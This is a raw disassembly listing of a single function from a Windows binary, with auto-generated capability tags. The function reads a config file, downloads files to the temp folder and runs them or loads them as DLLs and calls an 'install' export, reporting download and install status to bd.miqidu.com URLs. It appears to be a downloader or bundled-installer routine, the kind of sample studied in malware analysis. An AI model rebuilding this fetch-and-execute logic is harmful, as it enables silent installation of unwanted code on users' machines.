Function at 0x402d20
Capabilities:
Check if file exists
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2774
call fcn.0043fb90
mov eax, dword [0x45636c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x45a1a0], 0
push ebx
push esi
push edi
je 0x403989
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0042b8de
mov eax, dword [0x45a1a0]
mov ebx, dword [eax + 0xc]
add esp, 4
test ebx, ebx
je 0x403989
mov dword [ebp - 0x274c], ebx
jmp 0x402d76
mov ebx, dword [ebp - 0x274c]
test ebx, ebx
je 0x403975
lea eax, [ebx + 0x900]
test eax, eax
je 0x403975
call fcn.0042b8f0
cdq
mov ecx, 0x64
idiv ecx
lea eax, [ebx + 0x98c]
push eax
cmp edx, dword [ebx + 0x980]
sbb edi, edi
neg edi
mov dword [ebp - 0x2774], edi
call fcn.0040b6a0
add esp, 4
add ebx, 0x880
mov dword [ebp - 0x2764], eax
je 0x402e0a
mov eax, ebx
lea edx, [eax + 1]
jmp 0x402dd0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402dd0
sub eax, edx
je 0x402e0a
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x402df1
xor eax, eax
jmp 0x402e0f
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, ebx
mov esi, ecx
call fcn.00401030
jmp 0x402e0f
mov eax, 0x44bf28
push eax
call fcn.0040b4b0
mov dword [ebp - 0x2768], eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x2758], eax
mov dword [ebp - 0x2760], eax
mov dword [ebp - 0x2754], eax
cmp edi, eax
je 0x4038ad
cmp dword [ebp - 0x2764], eax
jne 0x4038ad
cmp dword [ebp - 0x2768], eax
jne 0x4038ad
push 0x410
push eax
lea edx, [ebp - 0xf48]
push edx
call fcn.0042f230
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
push 0x208
lea eax, [ebp - 0xf48]
push eax
push 0
call edi
lea ecx, [ebp - 0xf48]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.NmSvr.cfg
lea edx, [ebp - 0xf48]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0xf48]
push eax
push 0
push str.setuptime
push str.setup
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
xor ebx, ebx
mov ecx, esi
or ecx, ebx
je 0x402eee
push ebx
call fcn.0042bdb0
add esp, 4
sub eax, esi
sbb edx, ebx
mov ebx, dword [ebp - 0x274c]
mov esi, dword [ebx + 0x988]
xor ecx, ecx
cmp edx, ecx
jl 0x40396f
jg 0x402ef4
cmp eax, esi
jb 0x40396f
jmp 0x402ef4
mov ebx, dword [ebp - 0x274c]
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x336]
push eax
mov word [ebp - 0x338], dx
call fcn.0042f230
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x338]
push ecx
push 0
call edi
lea esi, [ebx + 0x9bd]
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402f30
sub eax, edx
cmp eax, 2
jbe 0x402fc3
xor eax, eax
lea edx, [ebp - 0x276c]
mov dword [ebp - 0x2770], eax
mov dword [ebp - 0x276c], eax
mov dword [ebp - 0x2750], eax
mov dword [ebp - 0x275c], eax
push edx
lea eax, [ebp - 0x2770]
push eax
lea ecx, [ebp - 0x338]
push ecx
call fcn.0040bb40
lea edx, [ebp - 0x275c]
push edx
lea eax, [ebp - 0x2750]
push eax
push esi
call fcn.0040b8e0
add esp, 0x18
test eax, eax
je 0x402fc3
mov ecx, dword [ebp - 0x276c]
mov edx, dword [ebp - 0x2770]
mov eax, dword [ebp - 0x275c]
push ecx
mov ecx, dword [ebp - 0x2750]
push edx
push eax
push ecx
call fcn.0040bbe0
add esp, 0x10
test eax, eax
jle 0x4038ad
mov ebx, dword [ebp - 0x274c]
lea edx, [ebp - 0x130]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebx + 0x900]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebx + 0x99c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ff2
sub eax, edx
cmp eax, 0x1e
jbe 0x4030b1
lea ecx, [ebp - 0x130]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4030a7
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403022
sub eax, edx
je 0x403070
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x40304f
mov ebx, dword [ebp - 0x274c]
xor eax, eax
jmp 0x403075
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
mov ebx, dword [ebp - 0x274c]
jmp 0x403075
mov eax, 0x44bf28
lea ecx, [ebp - 0x28]
push ecx
push eax
call fcn.0040bc90
add esp, 8
test eax, eax
je 0x4030a7
lea eax, [ebx + 0x99c]
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.0042ab49
add esp, 8
mov dword [ebp - 0x2754], 1
test eax, eax
je 0x4030b1
mov dword [ebp - 0x2754], 0xffffffff
push 0x7ff
lea eax, [ebp - 0xb37]
push 0
push eax
mov byte [ebp - 0xb38], 0
call fcn.0042f230
mov eax, 0x45a7bc
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4030d6
sub eax, edx
sar eax, 1
je 0x403123
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x4030fe
xor eax, eax
jmp 0x403128
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
mov ebx, dword [ebp - 0x274c]
jmp 0x403128
mov eax, 0x44bf2a
lea ecx, [ebx + 0x900]
push ecx
push 0
push eax
push 1
lea ecx, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_DownloadAll_dpid_ssucc_dfile_s
push ecx
call fcn.0042ad9c
lea edx, [ebp - 0xb38]
push edx
call fcn.0040a980
push 8
call fcn.0042be1c
add esp, 0x20
test eax, eax
je 0x403174
mov dword [eax], vtable.CHttpDownload.0
mov dword [eax + 4], 0xea60
mov dword [ebp - 0x2750], eax
jmp 0x40317e
mov dword [ebp - 0x2750], 0
cmp dword [ebp - 0x2754], 1
je 0x4032d9
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403194
sub eax, edx
je 0x4031d8
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x4031bb
xor ebx, ebx
jmp 0x4031dd
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
mov ebx, eax
jmp 0x4031dd
mov ebx, 0x44bf28
mov edi, dword [ebp - 0x274c]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031e8
sub eax, edx
je 0x403222
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x403209
xor eax, eax
jmp 0x403227
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, edi
mov esi, ecx
call fcn.00401030
jmp 0x403227
mov eax, 0x44bf28
mov ecx, dword [ebp - 0x2750]
mov edx, dword [ecx]
push 0
push ebx
push eax
mov eax, dword [edx + 4]
call eax
test eax, eax
jne 0x4032d3
mov eax, 0x45a7bc
lea edx, [eax + 2]
jmp 0x403250
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403250
sub eax, edx
sar eax, 1
je 0x403297
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x403278
xor eax, eax
jmp 0x40329c
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x40329c
mov eax, 0x44bf2a
mov ecx, dword [ebp - 0x274c]
add ecx, 0x900
push ecx
push 0
push eax
push 0
lea ecx, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_DownloadSucc_dpid_ssucc_dfile_s
push ecx
call fcn.0042ad9c
lea edx, [ebp - 0xb38]
push edx
call fcn.0040a980
add esp, 0x1c
jmp 0x4038ad
mov ebx, dword [ebp - 0x274c]
lea eax, [ebx + 0x800]
test eax, eax
je 0x403331
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032e6
sub eax, edx
je 0x403331
lea eax, [ebx + 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x40330d
xor edi, edi
jmp 0x403336
lea eax, [esi + esi]
call fcn.00437d80
mov eax, dword [ebp - 0x274c]
mov ecx, esp
mov edx, esi
push 3
add eax, 0x800
mov esi, ecx
call fcn.00401030
mov edi, eax
jmp 0x403336
mov edi, 0x44bf28
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403340
sub eax, edx
je 0x403382
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x403367
xor eax, eax
jmp 0x403387
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
jmp 0x403387
mov eax, 0x44bf28
push edi
push eax
push str.__s___s
mov ecx, 0x800
lea ebx, [ebp - 0x2748]
call fcn.00401590
mov eax, 0x45a7bc
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4033b0
sub eax, edx
sar eax, 1
je 0x4033f7
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x4033d8
xor eax, eax
jmp 0x4033fc
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x4033fc
mov eax, 0x44bf2a
mov edi, dword [ebp - 0x274c]
lea ecx, [edi + 0x900]
push ecx
push 0
push eax
push 1
lea ecx, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_DownloadSucc_dpid_ssucc_dfile_s
push ecx
call fcn.0042ad9c
lea edx, [ebp - 0xb38]
push edx
call fcn.0040a980
mov eax, 0x45a7bc
add esp, 0x1c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403436
sub eax, edx
sar eax, 1
je 0x40347d
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x40345e
xor eax, eax
jmp 0x403482
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x403482
mov eax, 0x44bf2a
lea ecx, [edi + 0x900]
push ecx
push 0
push eax
push 1
lea eax, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_InstallAll_dpid_ssucc_dfile_s
push eax
call fcn.0042ad9c
lea ecx, [ebp - 0xb38]
push ecx
call fcn.0040a980
add esp, 0x1c
cmp dword [ebp - 0x2754], 0xffffffff
jne 0x403561
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4035d9
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034e0
sub eax, edx
je 0x403522
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x403507
xor eax, eax
jmp 0x403527
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
jmp 0x403527
mov eax, 0x44bf28
lea ecx, [ebp - 0x28]
push ecx
push eax
call fcn.0040bc90
add esp, 8
test eax, eax
je 0x4035d9
lea eax, [edi + 0x99c]
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.0042ab49
add esp, 8
test eax, eax
jne 0x4035d9
mov dword [ebp - 0x2754], 1
mov eax, dword [edi + 0x984]
cmp eax, 1
jne 0x403704
push 0
lea edx, [ebp - 0x2748]
push edx
push 0
call fcn.0040ae00
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4036eb
mov eax, dword [ebp - 0x274c]
add eax, 0x800
je 0x403680
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035a1
sub eax, edx
je 0x403680
mov edi, dword [ebp - 0x274c]
add edi, 0x800
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x403667
xor edi, edi
jmp 0x403685
mov eax, 0x45a7bc
mov dword [ebp - 0x2754], 0xffffffff
lea edx, [eax + 2]
jmp 0x4035f0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4035f0
sub eax, edx
sar eax, 1
je 0x403637
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x403618
xor eax, eax
jmp 0x40363c
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x40363c
mov eax, 0x44bf2a
push 0xffffffffffffffff
lea ecx, [edi + 0x900]
push ecx
push 0
push eax
push 0
lea eax, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_InstallSucc_dpid_ssucc_dfile_smd5_d
push eax
call fcn.0042ad9c
lea ecx, [ebp - 0xb38]
push ecx
jmp 0x4038a5
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
mov eax, edi
call fcn.00401030
mov edi, eax
jmp 0x403685
mov edi, 0x44bf28
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403690
sub eax, edx
je 0x4036d2
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x4036b7
xor eax, eax
jmp 0x4036d7
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
jmp 0x4036d7
mov eax, 0x44bf28
push edi
push eax
call fcn.0040a790
mov edi, eax
add esp, 8
test edi, edi
je 0x40378c
mov eax, dword [ebp - 0x274c]
add eax, 0x98c
push eax
call fcn.0040b7c0
add esp, 4
jmp 0x40378c
cmp eax, 2
jne 0x4037d3
call fcn.0040b570
test eax, eax
je 0x40371f
call fcn.0040b5c0
test eax, eax
je 0x403786
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403728
sub eax, edx
je 0x40376a
lea ecx, [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x40374f
xor eax, eax
jmp 0x40376f
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
jmp 0x40376f
mov eax, 0x44bf28
lea edx, [ebp - 0x2748]
push edx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
call fcn.0040b630
add esp, 8
mov edi, dword [ebp - 0x2760]
mov eax, 0x45a7bc
mov dword [ebp - 0x2758], edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4037a0
sub eax, edx
sar eax, 1
je 0x403871
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x403852
xor eax, eax
jmp 0x403876
cmp eax, 3
jne 0x403786
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037e1
sub eax, edx
je 0x403823
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
cmp ebx, 0x3fffffff
jle 0x403808
xor eax, eax
jmp 0x403828
lea eax, [ebx + ebx]
call fcn.00437d80
mov esi, esp
push 3
mov edx, ebx
lea eax, [ebp - 0x130]
call fcn.00401030
jmp 0x403828
mov eax, 0x44bf28
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x403786
push str.install
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403786
call eax
jmp 0x403786
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x403876
mov eax, 0x44bf2a
mov ecx, dword [ebp - 0x2754]
push ecx
mov ecx, dword [ebp - 0x274c]
add ecx, 0x900
push ecx
push edi
push eax
push edi
lea edx, [ebp - 0xb38]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_InstallSucc_dpid_ssucc_dfile_smd5_d
push edx
call fcn.0042ad9c
lea eax, [ebp - 0xb38]
push eax
call fcn.0040a980
add esp, 0x20
push 0x7ff
lea ecx, [ebp - 0x1747]
push 0
push ecx
mov byte [ebp - 0x1748], 0
call fcn.0042f230
mov eax, 0x45a7bc
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4038d2
sub eax, edx
sar eax, 1
je 0x403919
push 0x45a7bc
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x4038fa
xor eax, eax
jmp 0x40391e
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x40391e
mov eax, 0x44bf2a
mov edx, dword [ebp - 0x2754]
mov ecx, dword [ebp - 0x2768]
push edx
mov edx, dword [ebp - 0x2764]
push ecx
mov ecx, dword [ebp - 0x2774]
push edx
mov edx, dword [ebp - 0x2758]
push ecx
mov ecx, dword [ebp - 0x274c]
add ecx, 0x901
push ecx
push edx
push eax
lea eax, [ebp - 0x1748]
push str.http:__bd.miqidu.com_nmsrf_html_onlineinstall.html_pid_ssucc_dfile_shit_dbinded_dinsted_dmd5_d
push eax
call fcn.0042ad9c
lea ecx, [ebp - 0x1748]
push ecx
call fcn.0040a980
add esp, 0x28
mov ebx, dword [ebp - 0x274c]
mov ebx, dword [ebx + 0x9e0]
mov dword [ebp - 0x274c], ebx
test ebx, ebx
jne 0x402d70
lea esp, [ebp - 0x2780]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a9a5
mov esp, ebp
pop ebp
ret